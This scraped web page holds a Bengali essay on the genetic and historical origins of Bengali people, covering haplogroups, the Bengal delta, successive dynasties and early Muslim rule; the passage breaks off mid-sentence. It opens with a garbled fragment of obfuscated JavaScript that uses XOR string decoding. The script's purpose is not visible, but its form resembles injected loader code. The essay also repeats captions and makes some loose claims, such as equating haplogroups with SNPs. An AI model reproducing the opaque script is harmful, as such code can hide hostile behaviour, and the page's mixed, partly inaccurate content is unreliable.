UQT5Z5PQu69JkL4rqlGWVvxKWz+PB2","neu3aFIrpJPMzFpOpLyCFtkLLwQiBQq729dwJZti5C/F+Nv2DxNxp5shoaWmOJhBM/2GI0VtQ9cxML9NPhlYJd4XPcZLioCQ5WzSrjAhZPUfp6AMhATxxbAH/Le8KCR+hQgyI4O/t+O4","OmWK"],pnCL=null,Qdsy=[19,32,59,54,33,60,58,59],E46=85,jBD="",BPx=0,bPB={},amO="",zuF0=0,awF3="",vZy=0,U5u=0,j3DCQ="";if(pnCL){for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx>4));if(BPx+2>2));if(BPx+3>>0;for(BPx=0;BPx>>0))>>>0;Flp=(Flp^(Flp>>>17))>>>0;Flp=(Flp^((Flp<<5)>>>0))>>>0;awF3+=s['String']['fromCharCode'](amO.charCodeAt(BPx)^(Flp&255));}for(BPx=0;BPx

ইতিহাস, নৃতত্ত্ব ও জিনবিজ্ঞানের আলোকে বাঙালির আত্মপরিচয়ের অনুসন্ধান

আধুনিক ডিএনএ গবেষণা ও বাঙালির পরিচয়

১২:০০:০৮ পূর্বাহ্ন, রবিবার, ৩ অগাস্ট ২০২৫

বাঙালি জাতিসত্তার শিকড় কি আর্য-অনার্য বিতর্কে? নাকি তা লুকিয়ে আছে হাজার বছরের অভিবাসন, সংঘাত ও বিবর্তনের ইতিহাসে? এই প্রবন্ধে আলোচিত হয়েছে বাঙালির জিনগত পরিচয়, ডিএনএ গবেষণার আলোকে আমাদের উৎস, বৈচিত্র্য ও সাংস্কৃতিক অভিযোজনের বৈজ্ঞানিক ব্যাখ্যা।


বাংলার সমৃদ্ধ সাংস্কৃতিক ইতিহাসের মতোই বৈচিত্র্যময় এবং স্তরপূর্ণ বাঙালির জিনগত পরিচয় রয়েছে।  আধুনিক জিনোম (একটি কোষের জিনসমষ্টি) গবেষণায় দেখা গেছে যে, বাঙালির জিনসমষ্টি হাজার হাজার বছরের অভিবাসন, বাণিজ্য এবং সাংস্কৃতিক আদান-প্রদানের মাধ্যমে তৈরি একটি জটিল ট্যাপেস্ট্রি। সম্ভবত, পঞ্চাশ থেকে সত্তর হাজার বছর আগের কথা, যখন আদিম মানবগণ (হোমো স্যাপিয়েন্স) ক্ষুধা, কৌতূহল এবং পরিবর্তিত জলবায়ুর কারণে বিশাল, অজানা ভূখণ্ডজুড়ে ভেসে বেড়াত। তারা ছিল মূলত শিকারী।  এরা আফ্রিকা থেকে বেরিয়ে দক্ষিণ উপকূলীয় পথ ধরে, নদীগুলোকে অনুসরণ করে দক্ষিণ এশিয়ায় চলে আসে। প্রকৃতি যেখানেই তাদের বেঁচে থাকার সুযোগ দিয়েছে সেখানেই তারা বসতি স্থাপন করেছে। কেউ কেউ বর্তমান পাকিস্তান এবং উত্তর ভারত জুড়ে স্থানগুলোতে চলে গিয়েছিল, কিন্তু অন্যরা আরও পূর্ব দিকে অব্যাহতভাবে অবশেষে বাংলার উর্বর এবং আর্দ্র সমভূমিতে পৌঁছেছিল— এটি সম্ভবত ত্রিশ হাজার বছর আগের কথা। সেই ‘নেগ্রিটা’ আদিবাসীদের এই অঞ্চলে প্রাচীনতম জিনগত পদচিহ্ন পাওয়ার প্রমাণও মিলেছে। তাদের ডিএনএ-তে, বিজ্ঞানীরা মাইটোকন্ড্রীয় হ্যাপলোগ্ৰুপ M (এম) এবং R (আর) জিনগত চিহ্ন বা মার্কারগুলি আবিষ্কার করেছেন, যা আফ্রিকার প্রথম অভিবাসীদের মাতৃবংশীয়দের উত্তরসুরিদের সাথে সাদৃশ খুঁজে পাওয়া যায়। 

বাঙালি পরিচয় কোনো একক জাতি, উপজাতি বা সভ্যতা থেকে আসেনি। বরং এই বঙ্গে, এটি সহস্রাব্দের বিনিময়, স্থিতিস্থাপকতা এবং অভিযোজনের ফলাফল। ডিএনএ গবেষণা আমাদের প্রমাণ করেছে যে, অধুনাতন বাঙালি জনগোষ্ঠী জিনগতভাবে বিশুদ্ধ নয়। আমরা বহু প্রাচীন ধারার মিশ্রণ। আমরা বহু উৎস থেকে এসে মিলে মিশে এক হয়েছি। বংশ পরিচয়ের ক্ষেত্রে তিন ধরনের ডিএনএ ব্যবহৃত হয়: ১) অটোসোমীয় ডিএনএ (মানবকোষের ২৩ জোড়া ক্রোমোসোমের মধ্যে ১ জোড়া হল সেক্স-ক্রোমোসোম এবং বাকি ২২ জোড়া ক্রোমোসোমকে অটোসোম বলা হয়), যা আমরা বাবা-মা দুজনের থেকেই পায়, যেখানে সমস্ত পূর্বপুরুষদের কাছ থেকে উত্তরাধিকারসূত্রে প্রাপ্ত জিনের সংমিশ্রণ রয়েছে; ২) মাইটোকন্ড্রীয়-ডিএনএ, যা কেবলই আসে মায়ের থেকে, তাই এর মাধ্যমে মাতৃপক্ষীয় বংশপরিচয় শনাক্ত করা যায়; এবং ৩) ওয়াই-ক্রোমোসোম বা ওয়াই-ডিএনএ (Y-DNA), যার মাধ্যমে পিতৃকুলের বংশপরিচয় চিহ্নিত করা যায়। কীভাবে আমাদের জিনগত ইতিহাস বৈচিত্র্যে গঠিত, তা তুলে ধরবার প্রয়াস করেছি এই লেখায়।

বাঙালির জিনোমগঠনে বঙ্গীয় ব-দ্বীপের ভূমিকা:

বেঙ্গল ডেল্টা বা বঙ্গীয় ব-দ্বীপ বাঙালি অভিপ্রায়ণের (মাইগ্রেশন) ইতিহাসে এক গুরুত্বপূর্ণ ভূমিকা পালন করেছে। এটি গঙ্গা, ব্রহ্মপুত্রসহ বেশ কয়েকটি নদীর মিলিত জলরাশি হিসেবে বঙ্গোপসাগরে পতিত হয়, যা হিমালয়ের প্রবাহ থেকে আগত বিপুল পরিমাণে পলি বহন করে একটি বিশ্বের বৃহত্তম ব-দ্বীপ সৃষ্টি করেছে। ব-দ্বীপটির প্রায় ৬৭% হচ্ছে বাংলাদেশে এবং ৩৩% ভারতের পশ্চিমবঙ্গে অবস্থিত। সহস্রাব্দ ধরে, এই অঞ্চলটির উর্বর মাটি আকর্ষণ করেছিল বিভিন্ন আদি জনগোষ্ঠীকে, যেমন পূর্ব-এশীয় (অস্ট্রো-এশীয় ও তিব্বতী-বর্মী), দ্রাবিড় বা দক্ষিণ ভারতীয় জনগোষ্ঠী, এবং ইন্দো-আর্য। বাংলাদেশের বর্তমান উপজাতিদের মধ্যে গারো, চাকমা, মারমা সম্প্রদায় তিব্বতী-বর্মী এবং সাঁওতাল, মুন্ডা ও কোডা বা কোড়া (রাজশাহী) নৃগোষ্ঠী অস্ট্রো-এশীয় জনগোষ্ঠীকে প্রতিনিধিত্ব করে। ডিএনএ গবেষণায় দেখা গিয়েছে যে, বাঙালি জাতির জিনগত বৈশিষ্ট্য প্রাচীন দক্ষিণ-ভারতীয় বংশের সাথে উল্লেখযোগ্য পরিমাণে সাদৃশ রয়েছে। ইন্দো-আর্য অভিপ্রায়ণের অনেক আগে দক্ষিণ-ভারতীয় দ্রাবিড় ভাষাভাষী মানুষ ইতিমধ্যেই বাংলায় এসে বসতি স্থাপন করে। প্রাচীন দক্ষিণ-ভারতীয় জিনগত চিহ্ন মাইটোকন্ড্রিয় হ্যাপলোগ্রুপ ‘এম’  বাঙালি জাতির মধ্যেও প্রকট উপস্থিতি রয়েছে। একসময় বাংলায় এই প্রাথমিক দ্রাবিড় বসতি স্থাপনকারীরা সম্ভবত বিদ্যমান অস্ট্রো-এশীয় বা অস্ট্রিক সম্প্রদায় এবং আরও পুরনো শিকারী-সংগ্রাহক জনগোষ্ঠীর সাথে মিশে গিয়েছিল। ফলস্বরূপ, লিখিত ইতিহাস শুরু হওয়ার অনেক আগে থেকেই জিনগতভাবে বৈচিত্র্যময় একটি জনসংখ্যা তৈরি হয়েছিল এই বাংলায়। এই অঞ্চলের উর্বর পলিমাটি বসতি স্থাপনকারী কৃষিকাজের জন্য আদর্শ পরিবেশ তৈরি করেছিল, বিশেষ করে ধান চাষের জন্য, যা ক্রমবর্ধমান জনসংখ্যাকে সমর্থন করেছিল। ফলে, এই গঙ্গা-ব্রহ্মপুত্র-মেঘনা ব-দ্বীপ একটি  জিনতাত্ত্বিক আধারের মতো কাজ করেছিল। শুধু অভিবাসন গঠন-ই নয়, এই বর্ষা-প্রবাহিত নদীগুলি সম্ভবত হাজার হাজার বছর ধরে এই জনগোষ্ঠীগুলিকে বিচ্ছিন্ন করার ক্ষেত্রেও  একটি গুরুত্বপূর্ণ ভূমিকাপালন করেছিল। ভারতবর্ষের অন্যান্য অঞ্চলের তুলনায়, বাংলার এই মাটিতে দীর্ঘ সময়কাল ধরে জিনগত বৈশিষ্ট্য ধারাবাহিকভাবে এমন একটি ছাপ রেখে গিয়েছে যে আজ আধুনিক বিজ্ঞান কেবল সেই বৈশিষ্ট্যগুলি আবিষ্কার করতে শুরু করেছে। জিনোম গবেষণা থেকে জানা যায় যে বাঙালি জনগোষ্ঠীতে অস্বাভাবিকভাবে প্রাচীন দক্ষিণ-এশীয় বংশধরদের আধিক্য রয়েছে, যা সহস্রাব্দ পরে আসা ইন্দো-ইউরোপীয় আগমনের চেয়েও অনেক পুরনো। দক্ষিণ-এশীয় জনগোষ্ঠীর মধ্যে বিরল কিছু ওয়াই-ডিএনএ হ্যাপলোগ্রুপ [যেমন, আর-১এ, এইচ (এইচ১এ১), জে-২, এল এবং ও-এম১৭৫] ব-দ্বীপীয় গ্রামগুলিতে উচ্চ ঘনত্বে দেখা যায়। এছাড়া, মাইটোকন্ড্রীয় হ্যাপলোগ্রুপ ‘এম-৬’ সিন্ধু উপত্যকা এবং ভারতের পূর্ব উপকূলীয় অঞ্চলসহ বাংলার বা-দ্বীপ অঞ্চলেও অত্যন্ত প্রচলিত, যা ইঙ্গিত দেয় যে এসব জনগোষ্ঠী তাদের  প্রাচীন জিনগত বংশকে সংরক্ষিত  করেছে।  প্রসঙ্গত, প্রত্নতাত্ত্বিক এবং বিচ্ছিন্ন জিনগত বৈশিষ্ট্য থেকে এটাও ইঙ্গিত দেয় যে, প্রায় ৪০০০ বছর আগে, সিন্ধু উপত্যকা জলবায়ু পরিবর্তন বা ঝটিকা বন্যার মত ভয়াবহ কোনো প্রাকৃতিক কারণে মহেঞ্জোদারো এবং হরপ্পার মতো প্রধান বসতিগুলি পরিত্যাগ করে উন্নত জল এবং কৃষিক্ষেত্রের সন্ধানে, সিন্ধু উপত্যকার লোকেরা পূর্বে ও দক্ষিণ পূর্বে গাঙ্গেয় সমভূমির দিকে স্থানান্তরিত হয়। একটি গবেষণায় প্রতিফলিত হয়েছে যে, সিন্ধু সভ্যতায় বসবাসকারী ওই জনগোষ্ঠীর সাথে ৫০-৯৮% ডিএনএ ইরানি আদিমানবদের সাথে মিলে যায় (সেল জার্নাল, ২০১৯)। এদের সঙ্গে দক্ষিণ-এশীয় শিকারী সংগ্রাহকদের শত শত বছরের মিশ্রণের ফলে দ্রাবিড় বা দক্ষিণ ভারতীয় আদিমানব নামে এক জনগোষ্ঠীর উদ্ভব হয়েছিল। ভারতীয় উপমহাদেশের পূর্ব অংশে অবস্থিত তৎকালীন বঙ্গও ছিল সিন্ধু সভ্যতার অভিবাসীদের আবির্ভাবকারী অঞ্চলগুলির মধ্যে একটি।

মাইটোকন্ড্রীয় ডিএনএ এবং হ্যাপ্লোগ্রুপ:

একটি মানবকোষের নিউক্লিয়াসে ডিএনএ-র উপস্থিতি ছাড়াও, পুরুষ ও নারীদের কোষগুলিতে মাইটোকন্ড্রীয়-ডিএনএ অবস্থান করে কোষের শক্তি উৎপাদনকারী কেন্দ্র মাইটোকন্ড্রিয়ায়। কিন্তু মাইটোকন্ড্রীয়-ডিএনএ কেবল মাতৃত্বের মাধ্যমে উত্তরাধিকারসূত্রে তার সকল সন্তান, ছেলে ও মেয়ে উভয়ের কাছেই সঞ্চারিত হয়। অর্থাৎ পুরুষদের মাইটোকন্ড্রীয় ডিএনএ পরবর্তী প্রজন্মে প্রবাহিত হয় না।  প্রসঙ্গত, বংশধর পেতে নারীর জরায়ুর গভীরে যখন একটি শুক্রাণু একটি ডিম্বাণুকে নিষিক্ত করে, তখন শুক্রাণুর সমস্ত অংশ ডিম্বাণুতে প্রবেশ করে না। মাইটোকন্ড্রীয় ডিএনএ বিশিষ্ট শুক্রাণুর লেজের অংশটি ডিম্বাণুতে প্রবেশের অনুমতি পায় না, ফলে পুরুষের মাইটোকন্ড্রীয়-ডিএনএ উত্তরাধিকারসূত্রে প্রবাহিত হয় না।

মাইটোকন্ড্রীয় হ্যাপলোগ্রুপগুলির নামকরণ সাধারণত ইংরেজি অক্ষর (এ থেকে জেড) দ্বারা চিহ্নিত করা হয়, এবং তাদের উপ-শাখাগুলি সংখ্যাসূচক/অক্ষরের সংমিশ্রণ ব্যবহার করে করা হয়। উদাহরণস্বরূপ, এইচ, এইচ-১, এইচ-১এ, এইচ১এ১ ইত্যাদি। হ্যাপ্লোগ্রুপ, যা একক-নিউক্লিওটাইড পলিমরফিজম নামেও পরিচিত, হল একধরনের জেনেটিক গ্রুপিং  বা জেনেটিক গোষ্ঠী, যার মাধ্যমে পিতৃতান্ত্রিক বা মাতৃতান্ত্রিক বংশের পরিচয় পাওয়া যায়, অর্থাৎ পিতামাতা থেকে সন্তানদের কাছে অপরিবর্তিতভাবে সঞ্চারিত হওয়ায়, এটি পূর্বপুরুষদের খুঁজে পেতে একটি সাহায্যকারী সাধনী হিসেবে ব্যবহার করা যায়। মাতৃতান্ত্রিক বংশের জন্য মাইটোকন্ড্রীয়-ডিএনএ এবং পিতৃতান্ত্রিক বংশের জন্য ওয়াই-ডিএনএ এর নির্দিষ্ট জেনেটিক মার্কার বিশ্লেষণের মাধ্যমে তাদের শনাক্ত করা হয়। উদাহরণস্বরূপ, বাংলাদেশে বাঙালিদের মধ্যে প্রাথমিকভাবে মাইটোকন্ড্রীয় হ্যাপ্লোগ্রুপ ‘এম’ এবং ‘ইউ’ দেখা যায়, যার মধ্যে ‘এম’ টাইপের প্রাধান্য সবচেয়ে বেশি। হ্যাপ্লোগ্রুপ ‘এম’ -এর মধ্যে রয়েছে ‘এম-৭, এম-২এ, এম-৫ এবং এম-৩’ এর মতো উপ-হ্যাপলোগ্রুপ। বাঙালিদের মধ্যে পাওয়া অন্যান্য হ্যাপ্লোগ্রুপগুলির মধ্যে রয়েছে ‘আর, এইচ, টি , জে, ডব্লিউ, এবং ডি’ ।

আগেই উল্লেখ করেছি, বাংলায় দ্রাবিড়, অস্ট্রিক, তিব্বতি-বর্মী,  এবং ইন্দো-আর্যসহ বিভিন্ন আদিগোষ্ঠীর দ্বারা বসবাস ছিল, যারা ধারাবাহিক অভিবাসনতরঙ্গে এই অঞ্চলের নানা স্থানে স্থানান্তরিত হয়েছিল এবং গঙ্গা, ব্রহ্মপুত্রসহ শাখা নদীগুলির কুল ঘেঁষে বসতি স্থাপন করেছিল। বঙ্গীয় বদ্বীপের এই প্রাথমিক বসতি এবং ভারতীয় উপমহাদেশের বিভিন্ন অংশ থেকে আসা নানা উপজাতি এবং গোষ্ঠীর আগমনের মাধ্যমে গঠিত হয়েছিল বাংলার বিভিন্ন জনপদ। বাংলায় বঙ্গ, তাম্রলিপ্ত, পুন্ড্র, রাঢ় এবং গৌড়ের মতো বিভিন্ন গোষ্ঠীর জনপদ সৃষ্টি হয়েছিল, যারা পরবর্তীতে রাজ্য ও সাম্রাজ্য গঠন করেছিল। বৈদিক যুগে, বাংলার জনপদগুলি গঠিত হয়েছিল, সাধারণত ১০০০ থেকে ৫০০ খ্রিস্টপূর্বাব্দের মধ্যে। আধা-যাযাবর জীবনধারা থেকে স্থায়ী কৃষিতে রূপান্তর এই জনপদের বিকাশে গুরুত্বপূর্ণ ভূমিকা পালন করেছিল।

মগধ সাম্রাজ্য এবং বাঙালি ডিএনএ:

মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল। এটি দ্বিতীয় নগরায়নের সময়কালে আবির্ভূত হয়েছিল এবং জৈন ও বৌদ্ধ ধর্মের বিকাশে গুরুত্বপূর্ণ ভূমিকা পালন করেছিল। বুদ্ধের সময়ে এটি ছিল ভারতের চারটি প্রধান রাজ্যের মধ্যে একটি। হর্ষঙ্ক রাজবংশের (খ্রীষ্টপূর্ব ৫৪৪-৪১৩) প্রতিষ্ঠাতা ‘বিম্বিসার’ এর মতো শাসকদের অধীনে মগধের বিস্তৃতি ছিল আফগানিস্তান ও পাঞ্জাব থেকে ‘বঙ্গ’ হয়ে অরুণাচল পর্যন্ত। মগধ গঙ্গা নদীর তীরে তার কৌশলগত অবস্থানের জন্য পরিচিত ছিল, যা এই অঞ্চলের বাণিজ্য এবং নিয়ন্ত্রণকে সহজতর করেছিল। এই সাম্রাজ্যের রাজধানী ছিল পাটলিপুত্র, যা বর্তমানে পাটনা, বিহারের রাজধানী। মগধ সাম্রাজ্যের রাজবংশ, বিশেষ করে নন্দ রাজবংশ, খ্রীষ্টপূর্ব ৩৪৫ সালের দিকে বাংলা জয় করে। এটি অবশেষে নন্দ রাজবংশের উত্তরসূরি মগধের মৌর্য রাজবংশের মূল কেন্দ্র হয়ে ওঠে। রাজা অশোকসহ মৌর্যবংশের অন্যান্য শাসকরা বাংলা শাসন করে ১৩৭ বছর (৩২২-১৮৫ খ্রীষ্টপূর্ব)। মগধ রাজবংশের কেন্দ্রীয় ভাষা ছিল প্রাকৃত (মগধি-প্রাকৃত: মধ্য ইন্দো-আর্য ভাষা), যদিও মৌর্যবংশে পালি ভাষাও প্রচলিত ছিল।

মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল।
মগধ সাম্রাজ্য, প্রাচীন ভারতের ষোলটি মহাজনপদ (বৃহৎ রাজ্য) এর মধ্যে একটি, যা পূর্ব-গাঙ্গেয় সমভূমিতে একটি শক্তিশালী রাজ্য ছিল।

মগধ সাম্রাজ্য এবং বাঙালিদের ডিএনএ-র মধ্যে সংযোগ মূলত ঐতিহাসিক মিথস্ক্রিয়া এবং অভিবাসনের মাধ্যমে। গবেষণায় দেখা গিয়েছে যে, মগধ সাম্রাজ্যের জনসংখ্যার উপর উত্তরভারতীয় আদি মানবজাতির (যারা মধ্য-এশীয়, মধ্য প্রাচ্য এবং পশ্চিম-ইউরেশিয়ার উত্তরসূরি) সাথে সম্পর্কিত উত্তর-ভারতীয় বংশধরদের জিনগত প্রভাব ছিল। মগধ সাম্রাজ্যের অন্তর্ভুক্ত বাংলার এই অঞ্চলটিতে মগধের উত্তর-ভারতীয় বংশধরদের আগমনসহ দক্ষিণ-এশিয়ায় মানুষের প্রাথমিক অভিবাসন এবং পরবর্তীতে  অস্ট্রো-এশীয়, ইন্দো-আর্য এবং অন্যান্য গোষ্ঠীর আগমন এই অঞ্চলের জিনগত গঠনকে আরও বৈচিত্র্যময় করে। সে সময়ে এই অঞ্চলে প্রধান ওয়াই-ডিএনএ হ্যাপ্লোগ্রুপ ছিল এইচ, এল এবং আর-২। সম্প্রতি, ১০০০ জিনোম প্রকল্পের আওতায় সংগৃহিত বাংলাদেশের বাঙালিদের ডিএনএ বিশ্লেষণ করে দেখা যায়, উত্তর-ভারতীয় আদিমানব (সিন্ধু সভ্যতার মানুষ এবং ইউরেশিয়ান স্টেপ্প পশুপালকদের মিশ্রণ)জাতির অবদান শতকরা ৫৫.৭ এবং দক্ষিণ-ভারতীয় জনগোষ্ঠীর অবদান ১২.৩ % (নেচার জার্নাল, ২০১২; ২০১৫)।

গুপ্ত রাজবংশ এবং বাঙালি জনগোষ্ঠীর বিকাশ:

মগধ সাম্রাজ্যের, বিশেষকরে মৌর্যবংশের পতনের পর, বেশ কয়েকটি রাজবংশ বাংলা শাসন করে। তম্মধ্যে, গুপ্ত সাম্রাজ্যের গুপ্ত শাসকরা (খ্রিস্টীয় ৩২০-৫৫০) ছিলেন ধর্মপ্রাণ বৈষ্ণব হিন্দু, কিন্তু তারা বৌদ্ধ ও জৈনসহ অন্যান্য ধর্মীয় সম্প্রদায়ের প্রতি সহনশীলতার জন্য পরিচিত ছিলেন। গুপ্ত সম্রাট কুমারগুপ্ত-১ এর শাসনামলে (৫ম শতাব্দীতে) নালন্দা বিশ্ববিদ্যালয় প্রতিষ্ঠিত হয়েছিল এবং বিশ্ববিদ্যালয়টি ৬০০ বছরেরও বেশি সময় ধরে বিকাশ লাভ করেছিল। গুপ্ত রাজবংশকে পরাজিত করে বাংলা অঞ্চলে গৌড় রাজ্য প্রতিষ্ঠিত করেছিলেন গুপ্তবংশজাত স্বাধীন পরাক্রান্ত নৃপতি ‘শশাঙ্ক’।  তাঁর শাসনকাল ছিল ৫৯০ থেকে ৬২৫ খ্রিস্টাব্দ, অথবা ৬০০-৬৩৬/৭ খ্রিস্টাব্দ পর্যন্ত। শশাঙ্ককে এই অঞ্চলের, অর্থাৎ গৌড়দেশের প্রথম স্বাধীন রাজা হিসেবে বিবেচনা করা হয়। (সূত্র: রাখালদাস বন্দ্যোপাধ্যায়- বাঙ্গালার ইতিহাস)।  এর মূল অঞ্চলগুলি বর্তমানে ভারতের পশ্চিম বাংলা রাজ্য এবং বাংলাদেশের উত্তর অংশে অবস্থিত ছিল, যার রাজধানী ছিল কর্ণসুবর্ণ (আধুনিক মুর্শিদাবাদ শহরের কাছে)। গৌড় অঞ্চল, বিশেষ করে গৌড়ের মতো শহরগুলি বাণিজ্য কেন্দ্র হয়ে ওঠে, যা উত্তর ভারত, মধ্যপ্রাচ্য এবং মধ্য-এশিয়াসহ বিভিন্ন অঞ্চল থেকে অভিবাসীদের আকর্ষণ করে- তাদের ডিএনএ এসে মিশে বাংলায় বসবাসরত জনপদের সাথে। গৌড় রাজবংশে অফিস-আদালতে ও মানুষের কথ্য ভাষা ছিল প্রত্ন/প্রাচীন বাংলা- মগধি-প্রাকৃত ও গৌড়ি প্রাকৃত ভাষার একটি বিবর্তিত রূপ। শশাঙ্ক হর্ষবর্ধনের কাছে পরাজিত হলে গৌড় রাজ্য তথা বাংলা অবশেষে হর্ষবর্ধনের সাম্রাজ্যের অন্তর্ভুক্ত হয়। রাজা শশাঙ্কের মৃত্যুর পর পাল রাজবংশের উত্থান পর্যন্ত এক বিশৃঙ্খল ও অরাজক শাসনহীন পরিস্থিতি বিরাজমান ছিল, যা “মাৎস্যন্যায়” নামে পরিচিত, অর্থাৎ সবলরা দুর্বলদের উপর অত্যাচার করতো।

সম্রাট দ্বিতীয় চন্দ্রগুপ্তের অধীনে গুপ্ত সাম্রাজ্য (৩৭৫-৪১৫ খ্রিষ্টাব্দ)
সম্রাট দ্বিতীয় চন্দ্রগুপ্তের অধীনে গুপ্ত সাম্রাজ্য (৩৭৫-৪১৫ খ্রিষ্টাব্দ)

খ্রিস্টপূর্ব চতুর্থ-তৃতীয় শতাব্দী থেকে গুপ্ত রাজবংশের ‘তাম্রলিপ্ত’ এর মতো প্রাচীন বন্দর শহরটিতে সামুদ্রিক বাণিজ্য প্রসারিত হওয়ার সাথে সাথে, বাংলা নিজেকে একটি সাংস্কৃতিক এবং জিনগত সংযোগস্থলে পরিণত করেছিল। বঙ্গোপসাগরের একটি বিশিষ্ট বন্দর হিসেবে, যা বর্তমানে  তমলুক (পূর্ব মেদিনীপুর, পশ্চিম বাংলা) নামে পরিচিত, ওই প্রাচীন তাম্রলিপ্ত বন্দরটি ভারত মহাসাগরের ওপারে সমুদ্রপথে বাংলার অভ্যন্তরকে সংযুক্ত করেছিল। তাম্রলিপ্ত বন্দর থেকে বিশেষ করে গুপ্ত রাজবংশের সময়, সিলন, জাভা, চীন এবং পশ্চিমের মতো বিভিন্ন অঞ্চলের সাথে বাণিজ্যের সুবিধা ছিল, যা আন্তর্জাতিক ও অভ্যন্তরীণ উভয় অভিবাসনকেও সহজতর করেছিল। তারা যে কেবল পণ্য-বাণিজ্যই করেছিল তা নয়, তারা স্থানীয় সম্প্রদায়ের সাথে বিবাহবন্ধনের মাধ্যমে তাদের জিনপুলও রেখে গিয়েছিল। তাদের মধ্যে কেউ কেউ বাংলার উপকূলে বসতি স্থাপনও করেছিল। আধুনিক ডিএনএ গবেষণায় দেখা গিয়েছে, কিছু বাঙালি জনগোষ্ঠীর মধ্যে এমন জিনগত মার্কার রয়েছে, যা দক্ষিণ-পূর্ব এশীয়, মহাসাগরীয় এবং এমনকি আফ্রিকান বংশের সাথে সারিবদ্ধ। এই সামুদ্রিক সংযোগগুলির মধ্যে কিছু প্রাচীনতম দক্ষিণ-পূর্ব এশিয়ার অস্ট্রোনেশীয়-ভাষী নাবিকদের মাধ্যমে এসেছিল। তাদের জিনগত অবদান গৌণ, তবে নির্বাচিত উপকূলীয় জনগোষ্ঠীতে পাওয়া ওয়াই-ক্রোমোজোমীয় হ্যাপলগ্রুপ ‘জে-১’ দৃশ্যমান। বিদেশি ব্যবসায়ীরা, বিশেষ করে আরব ও পারস্য অঞ্চল থেকে, খ্রিস্টীয় ৭ম শতাব্দীর প্রথম দিকে বাংলায় এসে বসতি স্থাপন শুরু করে। বৃহত্তর বাঙালি জনসংখ্যার উপর গবেষণায় দেখা যায় যে, আদিবাসী দক্ষিণ-এশীয় জিন এবং অভিবাসনের একাধিক তরঙ্গের প্রভাবের মিশ্রণ দেখা যায় চট্টগ্রাম, মংলা এবং বরিশালের মতো উপকূলীয় অঞ্চলে। এই গল্পগুলি লোককাহিনী বলে মনে হতে পারে, তবে আধুনিক জিনবিজ্ঞান এগুলিকে বৈধতা দিতে শুরু করেছে। 

পাল রাজবংশ ৮ম শতাব্দী থেকে শুরু করে প্রায় ৪০০ বছর ধরে বাংলা শাসন করেছে।  তাদের যুগ, প্রায় ৭৫০-১১৫০ খ্রিস্টাব্দ, বাংলার জন্য একটি গুরুত্বপূর্ণ সময়। এই সময়কালে পূর্ব-এশীয় মানুষ (সম্ভবত অস্ট্রো-এশীয় কৃষক) এবং “পূর্বপুরুষ দক্ষিণ ভারতীয়” এর মিশ্রণ দেখা গিয়েছে, যা বাংলার জিনগত ভূদৃশ্যে অবদান রেখেছে। উল্লেখ্য যে, বাংলাদেশের পাহাড়পুরে অবস্থিত সোমপুর মহাবিহার পাল রাজবংশের দ্বিতীয় শাসক ধর্মপাল দ্বারা প্রতিষ্ঠিত হয়েছিল, যা কয়েক শতাব্দী ধরে শিক্ষা ও ধর্মীয় অনুশীলনের জন্য একটি উল্লেখযোগ্য বৌদ্ধ কেন্দ্র হিসেবে কাজ করেছে। 

খ্রিস্টীয় একাদশ শতাব্দীর শেষের দিকে, দক্ষিণ ভারত (কর্ণাটক) থেকে একটি অভিবাসন ‘সেন রাজবংশ’কে বাংলায় নিয়ে আসে। সেন রাজবংশ একাদশ ও দ্বাদশ শতাব্দীতে বাংলায় শাসন করেছিল। শাসন শুরু হয়েছিল হেমন্তসেন দ্বারা এবং শেষ হয়েছিল মুসলিম বিজয়ের মধ্য দিয়ে রাজা লক্ষ্মণ সেন ও কেশবসেনের পরাজয়ের মধ্য দিয়ে। সেন-রা বাংলায় হিন্দুধর্ম এবং সংস্কৃত সাহিত্য প্রচারের জন্য পরিচিত। এছাড়া, ইন্দো-আর্য অভিবাসন বাংলাসহ ভারতীয় উপমহাদেশের জিনতাত্ত্বিক এবং সাংস্কৃতিক ভূদৃশ্য গঠনে গুরুত্বপূর্ণ ভূমিকা পালন করে। ইন্দো-আর্যরা, যারা প্রায় ৩,০০০ বছর আগে মধ্য-এশিয়া থেকে ভারতে চলে এসেছিল বলে মনে করা হয়, তারা সেন রাজবংশসহ এই অঞ্চলের অনেক সংস্কৃতির পূর্বপুরুষ। মৌর্যদের পরে শাসনকারী মগধের গুপ্ত রাজারা বাংলায় ব্রাহ্মণ্যবাদকে প্রচার করেছিলেন এবং এই অঞ্চলের সাংস্কৃতিক পরিচয়ে আরও অবদান রেখেছিলেন। 

বাংলায় মুসলিম শাসন এবং বাঙালি জাতিগোষ্ঠীর জিনগত গঠন:

ত্রয়োদশ শতাব্দীর গোড়ার দিকে, মধ্য-এশীয় তুর্কি ও ফার্সি ভাষাভাষী অঞ্চলের কেন্দ্রস্থলে সাম্রাজ্যের উত্থান ও পতন ঘটে এবং সে সময়, তাদের যোদ্ধা, পণ্ডিত এবং আধ্যাত্মিকরা ভারতের দিকে অগ্রসর হয়। ১২০৩ খ্রিষ্টাব্দে, তুর্কি সামরিক জেনারেল মুহাম্মদ বিন বখতিয়ার খিলজি বাংলায় বজ্রপাতের ন্যায় এক আক্রমণ পরিচালনা করেছিলেন। খিলজি সেনাবাহিনী কোনও একক জাতিগোষ্ঠীর সমন্বয়ে গঠিত ছিল না, এটি ছিল তুর্কি, আফগান, ফার্সি, এমনকী মঙ্গোল পুরুষদের একটি দল। বখতিয়ার খিলজি কর্তৃক সেনবংশের শেষ রাজা লক্ষণসেনের পরাজয়ের মধ্য দিয়ে এবং নালন্দার প্রাচীন বিশ্ববিদ্যালয়সহ বৌদ্ধধর্মের প্রাচীন স্থাপনাগুলি ধ্বংসের মাধ্যমে বাংলায় মুসলিম শাসন শুরু হয়, যে মুসলিম শাসনের স্থায়ীত্ব ছিল ১৮ শতকের মাঝামাঝি সময়ে ব্রিটিশ বিজয় পর্যন্ত। তাদের সামরিক শক্তির সাথে বাংলার এই জনগোষ্ঠীতে তারা এনেছিল নতুন রক্তধারা, 